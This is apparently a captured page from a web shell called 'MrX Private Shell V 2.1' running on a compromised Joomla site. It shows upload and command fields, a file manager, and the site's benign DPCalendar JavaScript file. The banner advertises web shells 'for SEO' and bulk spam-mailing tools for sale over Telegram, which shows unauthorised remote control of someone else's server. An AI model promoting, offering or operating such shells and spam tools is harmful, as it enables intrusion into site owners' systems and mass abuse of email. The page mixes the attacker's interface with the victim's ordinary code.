__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @package   DPCalendar
 * @copyright Digital Peak GmbH. <https://www.digital-peak.com>
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU/GPL
 */
(function () {
	'use strict';
	const DPCalendar = window.DPCalendar || {};
	window.DPCalendar = DPCalendar;
	Joomla.loadOptions();
	DPCalendar.requestCounter = 0;
	DPCalendar.modal = (url, width, height, closeFunction) => {
		loadDPAssets(['/com_dpcalendar/js/domurl/url.js', '/com_dpcalendar/js/tingle/tingle.js', '/com_dpcalendar/css/tingle/tingle.css'], () => {
			const modal = new tingle.modal({
				footer: false,
				stickyFooter: false,
				closeMethods: ['overlay', 'button', 'escape'],
				cssClass: ['dpcalendar-modal'],
				closeLabel: Joomla.Text._('COM_DPCALENDAR_CLOSE'),
				onClose: () => {
					if (closeFunction) {
						closeFunction(modal.modalBox.children[0].querySelector('iframe'));
					}
				}
			});
			if (width && document.body.clientWidth > width) {
				if (!isNaN(width)) {
					width = width + 'px';
				}
				document.querySelector('.tingle-modal-box').style.width = width;
			}
			if (!height) {
				height = '80vh';
			}
			if (!isNaN(height)) {
				height = height + 'px';
			}
			const urlObject = new Url(url);
			urlObject.query.tmpl = 'component';
			modal.setContent('<iframe style="width:100%; height:' + height + '" src="' + urlObject.toString() + '" frameborder="0" allowfullscreen></iframe>');
			modal.open();
		});
	};
	DPCalendar.print = (selector) => {
		document.body.outerHTML = document.querySelector(selector).outerHTML;
		window.addEventListener('afterprint', () => {
			setTimeout(() => window.location.reload(true), 2000);
		});
		window.print();
	};
	DPCalendar.encode = (str) => {
		return str.replace(/&amp;/g, '&');
	};
	DPCalendar.pad = (num, size) => {
		let s = num + '';
		while (s.length < size) {
			s = '0' + s;
		}
		return s;
	};
	DPCalendar.formToQueryString = (form, selector) => {
		const elements = selector ? form.querySelectorAll(selector) : form.elements;
		let field, s = [];
		for (let i = 0; i < elements.length; i++) {
			field = elements[i];
			if (!field.name || field.disabled || field.type == 'file' || field.type == 'reset' || field.type == 'submit' || field.type == 'button') {
				continue;
			}
			if (field.type == 'select-multiple') {
				for (let j = elements[i].options.length - 1; j >= 0; j--) {
					if (field.options[j].selected) {
						s[s.length] = encodeURIComponent(field.name) + '=' + encodeURIComponent(field.options[j].value);
					}
				}
			} else if ((field.type != 'checkbox' && field.type != 'radio') || field.checked) {
				s[s.length] = encodeURIComponent(field.name) + '=' + encodeURIComponent(field.value);
			}
		}
		return s.join('&').replace(/%20/g, '+');
	};
	DPCalendar.arrayToQueryString = (array, prefix) => {
		const str = [];
		let p;
		for (p in array) {
			if (Object.prototype.hasOwnProperty.call(array, p)) {
				const k = prefix ? prefix + '[' + p + ']' : p,
					v = array[p];
				str.push(
					(v !== null && typeof v === 'object') ?
						DPCalendar.arrayToQueryString(v, k) :
						encodeURIComponent(k) + '=' + encodeURIComponent(v)
				);
			}
		}
		return str.join('&').replace(/%20/g, '+');
	};
	DPCalendar.currentLocation = (callback) => {
		if (!navigator.geolocation) {
			return false;
		}
		navigator.geolocation.getCurrentPosition((pos) => {
			let task = 'location.loc';
			if (window.location.href.indexOf('administrator') == -1) {
				task = 'locationform.loc';
			}
			DPCalendar.request(
				'task=' + task + '&loc=' + encodeURIComponent(pos.coords.latitude + ',' + pos.coords.longitude),
				(json) => callback(json.data.formatted)
			);
		}, (error) => {
			Joomla.renderMessages({ error: [error.message] });
		});
		return true;
	};
	DPCalendar.request = (url, callback, data, updateLoader, method, errorCallback) => {
		const loader = updateLoader !== false ? document.querySelector('.dp-loader') : null;
		if (loader) {
			loader.classList.remove('dp-loader_hidden');
		}
		if (!data) {
			data = '';
		}
		data += (data ? '&' : '') + Joomla.getOptions('csrf.token') + '=1';
		DPCalendar.requestCounter++;
		Joomla.request({
			url: Joomla.getOptions('system.paths').base + '/index.php?option=com_dpcalendar&' + url,
			method: method == null ? 'POST' : method,
			data: data,
			onSuccess: (res) => {
				DPCalendar.requestCounter--;
				if (loader) {
					loader.classList.add('dp-loader_hidden');
				}
				try {
					const json = JSON.parse(res);
					if (json.messages != null && json.messages.length !== 0 && document.getElementById('system-message-container')) {
						Joomla.renderMessages(json.messages);
					}
					if (callback) {
						callback(json);
					}
				} catch (e) {
					if (document.getElementById('system-message-container')) {
						Joomla.renderMessages({ error: [url + '<br>' + e.message] });
					}
					console.log(e);
					if (errorCallback) {
						errorCallback();
					}
				}
			},
			onError: (xhr) => {
				DPCalendar.requestCounter--;
				if (loader) {
					loader.classList.add('dp-loader_hidden');
				}
				try {
					if (errorCallback) {
						errorCallback();
					}
				} catch (e) {
					if (document.getElementById('system-message-container')) {
						Joomla.renderMessages({ error: [url + '<br>' + e.message] });
					}
					console.log(e);
				}
				if (!xhr.responseText) {
					return;
				}
				try {
					const json = JSON.parse(xhr.responseText);
					if (json.messages != null && json.messages.length !== 0 && document.getElementById('system-message-container')) {
						Joomla.renderMessages(json.messages);
					}
					if (json.error) {
						throw new Error(json.message + (json.trace ? '<br>' + json.trace : ''));
					}
				} catch (e) {
					if (document.getElementById('system-message-container')) {
						Joomla.renderMessages({ error: [url + '<br>' + e.message] });
					}
				}
			}
		});
	};
	DPCalendar.debounce = (func, wait, immediate) => {
		if (wait == null) {
			wait = 500;
		}
		if (immediate == null) {
			immediate = false;
		}
		let timeout;
		return function () {
			const context = this, args = arguments;
			const later = () => {
				timeout = null;
				if (!immediate) {
					func.apply(context, args);
				}
			};
			const callNow = immediate && !timeout;
			clearTimeout(timeout);
			timeout = setTimeout(later, wait);
			if (callNow) {
				func.apply(context, args);
			}
		};
	};
	DPCalendar.slideToggle = (target, fn) => {
		if (!target) {
			return;
		}
		if (window.getComputedStyle(target).display === 'none') {
			return slideDown(target, fn);
		}
		return slideUp(target, fn);
	};
	[].slice.call(document.querySelectorAll('.dp-button-print')).forEach((button) => {
		button.addEventListener('click', () => DPCalendar.print(button.getAttribute('data-selector')));
	});
	[].slice.call(document.querySelectorAll('.dp-button-action[data-href]')).forEach((el) => {
		el.addEventListener('click', (event) => {
			event.preventDefault();
			let text = el.getAttribute('data-confirmtext');
			if (!text) {
				text = Joomla.Text._('COM_DPCALENDAR_CONFIRM_DELETE');
			}
			if (el.classList.contains('dp-action-delete') && !confirm(text)) {
				return false;
			}
			if (el.getAttribute('data-target') == 'new') {
				window.open(el.getAttribute('data-href'));
				return false;
			}
			location.href = el.getAttribute('data-href');
			return false;
		});
	});
	[].slice.call(document.querySelectorAll('.dp-tabs__input')).forEach((tab) => {
		tab.addEventListener('click', () => localStorage.setItem('dp-tabs-' + tab.name, tab.id));
		if (localStorage.getItem('dp-tabs-' + tab.name) == tab.id) {
			tab.checked = true;
		}
	});
	let slideUp = (target, fn) => {
		target.style.transitionProperty = 'height, margin, padding';
		target.style.transitionDuration = '700ms';
		target.style.boxSizing = 'border-box';
		target.style.height = target.offsetHeight + 'px';
		target.offsetHeight;
		target.style.overflow = 'hidden';
		target.style.height = 0;
		target.style.paddingTop = 0;
		target.style.paddingBottom = 0;
		target.style.marginTop = 0;
		target.style.marginBottom = 0;
		window.setTimeout(() => {
			target.style.display = 'none';
			target.style.removeProperty('height');
			target.style.removeProperty('padding-top');
			target.style.removeProperty('padding-bottom');
			target.style.removeProperty('margin-top');
			target.style.removeProperty('margin-bottom');
			target.style.removeProperty('overflow');
			target.style.removeProperty('transition-duration');
			target.style.removeProperty('transition-property');
			if (fn) {
				fn(false, target);
			}
		}, 710);
	};
	let slideDown = (target, fn) => {
		target.style.removeProperty('display');
		let display = window.getComputedStyle(target).display;
		if (display === 'none') {
			display = 'block';
		}
		target.style.display = display;
		let height = target.offsetHeight;
		target.style.overflow = 'hidden';
		target.style.height = 0;
		target.style.paddingTop = 0;
		target.style.paddingBottom = 0;
		target.style.marginTop = 0;
		target.style.marginBottom = 0;
		target.offsetHeight;
		target.style.boxSizing = 'border-box';
		target.style.transitionProperty = 'height, margin, padding';
		target.style.transitionDuration = '700ms';
		target.style.height = height + 'px';
		target.style.removeProperty('padding-top');
		target.style.removeProperty('padding-bottom');
		target.style.removeProperty('margin-top');
		target.style.removeProperty('margin-bottom');
		window.setTimeout(() => {
			target.style.removeProperty('height');
			target.style.removeProperty('overflow');
			target.style.removeProperty('transition-duration');
			target.style.removeProperty('transition-property');
			if (fn) {
				fn(true, target);
			}
		}, 710);
	};
})();

Filemanager

Name Type Size Permission Actions
fields Folder 0775
layouts Folder 0775
views Folder 0775
calendar.js File 32.09 KB 0664
calendar.min.js File 22.39 KB 0664
dpcalendar.js File 9.48 KB 0664
dpcalendar.min.js File 6.41 KB 0664
loader.js File 1.8 KB 0664
loader.min.js File 1.2 KB 0664
map.js File 8.38 KB 0664
map.min.js File 5.89 KB 0664
Filemanager